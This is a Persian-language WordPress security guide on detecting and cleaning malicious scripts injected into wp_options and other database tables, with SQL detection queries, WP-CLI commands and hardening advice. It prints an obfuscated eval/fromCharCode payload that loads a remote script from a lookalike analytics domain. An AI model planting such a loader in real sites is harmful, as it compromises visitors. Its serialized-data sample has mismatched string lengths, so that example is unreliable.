رفتن به محتوا
بهنام باقریامنیت، پاکسازی و پشتیبانی فنی وردپرس درخواست بررسی فوری

راهنمای فنی وردپرس

پاکسازی اسکریپت‌های تزریق‌شده مخرب در جداول wp_options و دیتابیس وردپرس

پاکسازی اسکریپت‌های تزریق‌ شده مخرب در دیتابیس وردپرس

تزریق مستقیم کدهای مخرب به پایگاه داده وردپرس، خطرناک‌ترین و در عین حال نامرئی‌ترین بردار آلودگی در زیرساخت MySQL/MariaDB است. در این سناریو، فایل‌های هسته وردپرس، قالب‌ها و افزونه‌ها در بررسی‌های سیستمی و تطبیق هش‌های مخزن (Checksums) کاملاً سالم و دست‌نخورده به نظر می‌رسند، اما به محض لود صفحات در سمت کاربر، اسکریپت‌های مخرب از پایگاه داده واکشی شده و در کدهای خروجی HTML تزریق می‌شوند.

ریشه این بحران معمولاً بر جدول کلیدی و حیاتی wp_options متمرکز است؛ جایی که تنظیمات اصلی سایت، کدهای سراسری هدر و فوتر و پلاگین‌های فعال ذخیره شده‌اند.

اشتباه فاجعه‌باری که اغلب وب‌مسترها و حتی برخی پشتیبان‌های فنی مرتکب می‌شوند، اجرای کوئری‌های مستقیم و کورکورانه نظیر UPDATE ... REPLACE() در ابزارهایی مثل phpMyAdmin است. این اقدام بدون درک معماری داده‌های Serialized PHP (Serialized Data)، بلافاصله منجر به تخریب ساختار آرایه‌ها، شکستن تنظیمات قالب و در نهایت بروز «صفحه سفید مرگ» (White Screen of Death – WSOD) یا از کار افتادن کامل ووکامرس خواهد شد.

پاکسازی دیتابیس مستلزم کالبدشکافی دقیق نوع پی‌لود، رفتار رکوردهای autoload و به‌کارگیری ابزارهای تخصصی ترمینال است.

کالبدشکافی ریشه‌ای تزریق در wp_options و سایر جداول (Root Cause Analysis)

حملات تزریق در لایه دیتابیس عموماً از طریق آسیب‌پذیری‌های تزریق اس‌کیوال (SQL Injection – SQLi)، نقص‌های کنترل دسترسی (Broken Access Control) در REST API یا افزونه‌ های فرم‌ساز و صفحه‌ ساز که ورودی‌ های کاربر را بدون اعتبارسنجی (Sanitization) در دیتابیس ذخیره می‌کنند رخ می‌دهد. این حملات معمولاً از ۳ تکنیک اصلی پیروی می‌کنند:

۱. سوءاستفاده از مکانیزم بارگذاری خودکار (autoload = 'yes')

جدول wp_options رکوردهایی دارد که مقدار ستون autoload آن‌ها برابر با yes یا on است. وردپرس در ابتدای هر درخواست HTTP (در مرحله wp-settings.php)، تمامی این رکوردها را با یک کوئری تجمیعی به حافظه رم لود کرده و در قالب کش آبجکت نگه می‌دارد:

SELECT option_name, option_value FROM wp_options WHERE autoload = 'yes';

هکرها ترجیح می‌دهند اسکریپت‌های سرقت اطلاعات، پاپ‌ آپ‌ های ناخواسته، ماینرهای مرورگر یا ریدایرکت‌های تبلیغاتی را در رکوردهای با لود خودکار جاسازی کنند تا با کمترین هزینه، کد مخرب در تمام صفحات وب‌سایت (حتی صفحات استاتیک و سبد خرید) اجرا شود.

۲. تزریق پی‌لود های پنهان جاوااسکریپت در فیلدهای تنظیمات قالب و ویجت‌ها

گزینه‌هایی نظیر کدهای سفارشی هدر/فوتر قالب، اسکریپت‌های آمارگیر، ویجت‌های متنی و تنظیمات افزونه‌های سئو مستعدترین اهداف هستند. مهاجمان کدهای مخرب را به صورت مبهم (Obfuscated) با تکنیک‌های تبدیل کاراکتر اسکی، هگز یا بافر استریم جاسازی می‌کنند:

<!-- نمونه کد تزریق‌شده درون فیلد option_value در جدول wp_options -->
<script type="text/javascript">
/*wp_theme_tracker_v3*/
eval(String.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,45,97,110,97,108,121,116,105,99,115,45,103,111,111,103,108,101,46,99,111,109,47,115,116,97,116,115,46,106,115,39,59,100,46,104,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59));
</script>

پی‌لود بالا پس از دی‌کد شدن، یک فایل خارجی به نام stats.js را از یک دامنه جعلی مشابه گوگل آنالیتیکس فراخوانی می‌کند.

۳. تله داده‌های سریالی (Serialized Data Corruption)

بسیاری از گزینه‌ها در وردپرس آرایه‌ های ساخت‌یافته چند بعدی هستند که توسط تابع serialize() در PHP به رشته متنی تبدیل می‌شوند؛ مانند:

a:2:{s:8:"site_url";s:18:"https://example.com";s:12:"custom_script";s:23:"console.log('clean');";}

در این فرمت، طول دقیق کاراکترهای هر بخش با فرمت s:length:"value"; مشخص می‌شود. اگر فردی بدون ابزار تطبیق‌دهنده، عبارت [https://example.com](https://example.com) (طول ۱۹) را با یک دامین مخرب ۳۰ کاراکتری جایگزین کند، مفسر PHP در زمان پردازش unserialize() متوجه عدم تطابق بایت‌ها شده، خواندن مقدار را لغو می‌کند و کل آرایه را به عنوان مقدار پوچ (false) در نظر می‌گیرد که منجر به فروپاشی سایت می‌شود.

پروتکل اجرایی و گام‌به‌گام رفع بحران (Actionable Playbook)

این پروتکل برای کشف، ایزوله‌ سازی و پاکسازی دقیق بدون تخریب داده‌های حساس در پایگاه داده طراحی شده است. پیش از آغاز، پشتیبان‌گیری کامل از دیتابیس در لایه ترمینال اجباری است.

گام ۱: ایجاد پشتیبان فیزیکی پایگاه داده پیش از هرگونه دستکاری

قبل از اجرای حتی یک دستور ویرایشی، از دیتابیس نسخه خام تهیه کنید:

# ایجاد فایل دامپ پشتیبان با فلگ‌های ایمن
mysqldump -u DB_USER -p DB_NAME --single-transaction --quick --lock-tables=false > /root/db_backup_pre_cleanup_$(date +%F_%T).sql

گام ۲: شناسایی و واکاوی الگوهای مشکوک در جدول wp_options

با اتصال به MySQL، رکوردهای پرخطر را بر اساس امضاهای رایج بدافزارها شناسایی کنید:

-- ۱. کشف تزریق تگ‌های اسکریپت یا توابع اجرایی در رکوردهای لود خودکار
SELECT option_id, option_name, SUBSTRING(option_value, 1, 150) AS preview 
FROM wp_options 
WHERE autoload IN ('yes', 'on') 
AND (
    option_value LIKE '%<script%' 
    OR option_value LIKE '%String.fromCharCode%' 
    OR option_value LIKE '%eval(%' 
    OR option_value LIKE '%document.write%' 
    OR option_value LIKE '%window.location%'
);

-- ۲. جستجوی اسامی رکوردهای ناشناس و مخفی که نام‌های تصادفی دارند
SELECT option_id, option_name 
FROM wp_options 
WHERE option_name REGEXP '^[a-z0-9]{16,32}$' 
OR option_name LIKE '%_wp_session_tracker%'
OR option_name LIKE '%theme_mods_backup%';

اگر گزینه مخربی کشف کردید که کاملاً اضافه و متعلق به بدافزار است (و نه تنظیمات یک افزونه معتبر)، آن را مستقیماً حذف کنید:

DELETE FROM wp_options WHERE option_name = 'نام_گزینه_مخرب';

گام ۳: اسکن و رهگیری تزریق در محتوای نوشته‌ها و متادیتاها

گاهی اسکریپت‌ها در انتهای تمامی پست‌ها و برگه‌ها در جدول wp_posts یا فیلدهای زمینه دلخواه در wp_postmeta تزریق شده‌اند:

-- جستجوی کدهای iframe مخفی یا اسکریپت در محتوای پست‌ها
SELECT ID, post_title, post_date 
FROM wp_posts 
WHERE post_content LIKE '%<iframe%display:none%' 
   OR post_content LIKE '%<script%src=%';

-- بررسی دیدگاه‌های تاییدشده حاوی لینک‌های اسپم و مخرب
SELECT comment_ID, comment_author, comment_content 
FROM wp_comments 
WHERE comment_approved = '1' 
  AND (comment_content LIKE '%<script%' OR comment_content LIKE '%http%');

گام ۴: جایگزینی و پاکسازی مهندسی‌شده با WP-CLI

اگر کد مخرب درون یک رکورد معتبر (مانند تنظیمات قالب یا افزونه سئو) به صورت سریالی تزریق شده باشد، نباید از کوئری SQL استفاده کرد. ابزار WP-CLI به صورت بومی رشته‌ها را Unserialize کرده، پی‌لود را حذف و طول بایت را مجدداً محاسبه و Serialize می‌کند:

cd /path/to/wordpress

# آزمایش اولیه در حالت آزمایشی (Dry-Run) برای بررسی تعداد تغییرات بدون اعمال
wp search-replace '<script src="https://malicious-cdn.xyz/tracker.js"></script>' '' \
    --all-tables \
    --precise \
    --dry-run \
    --allow-root

# اجرای قطعی پاکسازی و جایگزینی در تمام جداول دیتابیس
wp search-replace '<script src="https://malicious-cdn.xyz/tracker.js"></script>' '' \
    --all-tables \
    --precise \
    --allow-root

اگر پی‌لود از دامنه‌های شرطی متغیر استفاده می‌کند، با کوئری‌های منظم (Regex) در WP-CLI یا جایگزینی آدرس مقصد پاکسازی را انجام دهید:

wp search-replace 'https://bad-gateway-tracker.com' 'https://example.com' --all-tables --precise --allow-root

گام ۵: بازسازی کش پایگاه داده و تیونینگ نهایی

پس از اتمام پاکسازی، باید حافظه نهان سراسری (Object Cache / Redis / Memcached) پاک شود تا رکوردهای آلوده کش‌شده مجدداً خوانده نشوند:

# تخلیه کش آبجکت وردپرس
wp cache flush --allow-root

# بهینه‌سازی و تعمیر ساختار جداول دیتابیس
wp db repair --allow-root
wp db optimize --allow-root

جدول مقایسه‌ای: روش‌های پاکسازی داده‌های مخرب در دیتابیس

روش اجراپشتیبانی از داده‌های سریالی (Serialized)ایمنی دیتابیسسرعت اجرانیاز به دسترسی سرور
کوئری مستقیم در phpMyAdmin (REPLACE)❌ خیر (باعث فساد ساختار دیتابیس می‌شود)بسیار خطرناکبالادسترسی وب به پنل هاست
دستور خط فرمان wp search-replace✔ بله (محاسبه مجدد خودکار طول بایت)بسیار بالافوق‌العاده سریعدسترسی SSH و ترمینال
افزونه‌های جستجو و جایگزینی (پنل وب)✔ بلهمتوسط (خطر Timeout در دیتابیس‌های سنگین)کند تا متوسطدسترسی به پیشخوان وردپرس
اکسپورت متنی، ویرایش با نوت‌پد و ایمپورت❌ خیر (نابودکننده داده‌های پیچیده و آرایه‌ها)بحرانیبسیار کند و پرخطادسترسی به فایل دیتابیس

هشدار امنیتی و ریسک عملیاتی در لایه پایگاه داده
پایگاه داده قلب تپنده وردپرس و محل استقرار اطلاعات مالی، کاربران و سوابق تجاری سایت است. هرگونه اشتباه در اجرای کوئری‌های حذفی یا بی‌توجهی به قواعد Serialization می‌تواند موجب از کار افتادن همیشگی جداول ووکامرس، حذف تراکنش‌ها یا مسدود شدن دسترسی مدیران شود. حتی در صورت پاکسازی موفق کدها، اگر درگاه نفوذ (مانند باگ SQLi در یک پلاگین) بسته نشود، تزریق در کمتر از چند دقیقه دوباره صورت می‌گیرد.
اگر پایگاه داده سایت شما حجم بالایی دارد، دارای رکوردهای پیچیده است یا کدهای ناشناس در جداول متعددی پخش شده‌اند، توصیه می‌شود فرآیند سم‌زدایی و پچینگ عمیق را به متخصصی با تسلط کامل بر موتورهای MySQL و معماری وردپرس بسپارید. می‌توانید برای پاکسازی تضمینی و بدون قطعی داده‌ها، از خدمات اختصاصی در بخش پاکسازی سایت هک شده یا بسته تخصصی پشتیبانی وردپرس در وب‌سایت شخصی بهنام باقری استفاده نمایید.

خطاهای رایج و بن‌بست‌های متداول (Common Pitfalls)

  • دستکاری دستی فیلدهای سریالی در phpMyAdmin: تغییر دادن محتوای ستون option_value در phpMyAdmin بدون تنظیم طول مشخصه s:XX، قطعی‌ترین راه برای خرابی سایت و خطای لود نشدن قالب است.
  • پاکسازی دیتابیس بدون اسکن فایل‌های سیستم: تزریق به دیتابیس به ندرت به تنهایی رخ می‌دهد؛ معمولاً یک بک‌دور یا وب‌شل در پوشه wp-content مستقر است که وظیفه دارد هر چند ساعت یک‌بار، کوئری تزریق را به صورت خودکار دوباره در دیتابیس اجرا کند.
  • تغییر ندادن پسورد و یوزر دیتابیس پس از حمله: نفوذگران در حملات SQLi اطلاعات فایل wp-config.php (از جمله نام کاربری و رمز عبور دیتابیس) را به سرقت می‌برند. عدم تغییر پسورد MySQL در کنترل‌پنل هاست و فایل کانفیگ، درگاه نفوذ مستقیم را باز می‌گذارد.
  • عدم توجه به متغیرهای پنهان در جداول اختصاصی افزونه‌ها: هکرها گاهی جداول جدیدی (مانند wp_temp_backup_users) در دیتابیس می‌سازند یا کدهای مخرب را در جداول افزونه‌های فرم‌ساز یا آمارگیر جاسازی می‌کنند؛ اسکن نباید صرفاً به wp_options محدود بماند.

پروتکل ایمن‌سازی دیتابیس پس از پاکسازی (Database Hardening)

پس از ریشه‌کنی قطعی کدهای مخرب، پیاده‌سازی این اقدامات در لایه دیتابیس الزامی است:

۱. تغییر مشخصات اتصال و پیشوند جداول:

رمز دیتابیس را در سرور ریست کرده و در صورت امکان از پیشوند‌های اختصاصی به جای پیش‌فرض wp_ استفاده کنید.

۲. محدودسازی امتیازات کاربر پایگاه داده (Least Privilege Principle):

کاربر دیتابیس وردپرس در استفاده معمول نیاز به امتیازاتی نظیر DROP, GRANT یا FILE در MySQL ندارد. محدود کردن دسترسی‌ها مانع از ایجاد فایل‌های مخرب روی دیسک توسط کوئری‌های INTO OUTFILE می‌شود:

REVOKE DROP, FILE ON DB_NAME.* FROM 'DB_USER'@'localhost';
FLUSH PRIVILEGES;

۳. پایش کوئری‌های کند و لاگ‌های مشکوک:

فعال‌سازی Slow Query Log و لاگ کوئری‌های عمومی در MySQL برای ردیابی هرگونه تزریق اس‌کیوال مشکوک در لحظه وقوع:

# در فایل my.cnf سرور
slow_query_log = 1
slow_query_log_file = /var/log/mysql/mysql-slow.log
long_query_time = 2

پرسش‌های پرتکرار تکنیکال (Technical FAQ)

۱. داده‌های سریالی‌شده (Serialized Data) در دیتابیس وردپرس چیست و چرا نباید با کوئری‌های معمولی ویرایش شوند؟

وردپرس برای ذخیره متغیرهای چندگانه یا آرایه‌های پیچیده در یک ستون متنی واحد از تابع serialize() استفاده می‌کند که در آن طول بایت هر رشته به صراحت ثبت می‌شود (مثلاً s:5:"apple"). اگر این فیلد با دستور REPLACE() در SQL ویرایش شود، متن عوض می‌شود اما عدد نشان‌دهنده طول کاراکترها به‌روز نمی‌شود. در نتیجه مفسر PHP در زمان پردازش و Unserialize کردن با خطای تطابق بایت مواجه شده و کل داده را نادیده می‌گیرد که باعث خرابی تنظیمات قالب و افزونه‌ها می‌شود.

۲. چگونه متوجه شویم کدهای جاوا اسکریپت تزریق‌ شده در فرانت‌اند از دیتابیس می‌آیند یا از فایل‌های قالب؟

سریع‌ترین متد، بررسی تگ‌های لودشده در سورس صفحه با فعال‌سازی موقت قالب پیش‌فرض وردپرس (مانند Twenty Twenty-Four) است. اگر با تغییر قالب و غیرفعال کردن تمامی افزونه‌ها کماکان کد مخرب در سورس صفحه وجود داشته باشد، یا اگر محتوای متنی کد را در جدول wp_options یا دیتابیس پیدا کنید، قطعی است که تزریق از لایه پایگاه داده انجام شده و فایل‌های قالب سالم هستند.

۳. چرا بعد از پاکسازی کامل دیتابیس، بعد از چند روز مجدداً اسکریپت‌ها در جدول wp_options بازتولید می‌شوند؟

این نشانه وجود یک اسکریپت بازتولیدکننده (Persistence Backdoor) در فایل‌های سرور است. مهاجم فایلی پنهان در مسیرهایی مثل wp-includes یا wp-content/mu-plugins/ دارد که یا از طریق یک کرون‌جاب لینوکسی یا با هوک‌های بوتسترپ لود می‌شود و وضعیت جدول wp_options را چک می‌کند؛ اگر کد مخرب پاک شده باشد، مجدداً کوئری تزریق را به دیتابیس ارسال می‌کند. برای حل این مشکل، پاکسازی دیتابیس باید هم‌زمان با بازرسی تمامیت فایل‌های هسته با دستور wp core verify-checksums انجام شود.

۴. آیا فعال کردن فایروال افزونه‌ای می‌تواند جلوی تزریق کدهای مخرب به دیتابیس را بگیرد؟

فایروال‌های افزونه‌ای تا حدودی حملات شناخته‌شده SQLi را دفع می‌کنند، اما اگر افزونه‌ای دارای باگ روز-صفر (Zero-Day) باشد یا مهاجم دسترسی ادمین معتبر داشته باشد، فایروال نرم‌ افزاری وردپرس متوجه مخرب بودن درخواست نمی‌شود. راهکار اصولی، استفاده از Web Application Firewall (WAF) در لایه وب‌سرور (مانند ماژول ModSecurity و OWASP Core Rule Set در آپاچی/لایت‌اسپید) و اعمال محدودیت دسترسی در فایل‌سیستم و پایگاه داده است.

دیدگاه‌های این مقاله

اولین دیدگاه را درباره این مقاله ثبت کنید.

ثبت دیدگاه

نشانی ایمیل شما منتشر نمی‌شود. از ارسال رمز و اطلاعات محرمانه خودداری کنید.

برای دریافت کد روی فرم کلیک کنید

مقاله‌های مرتبط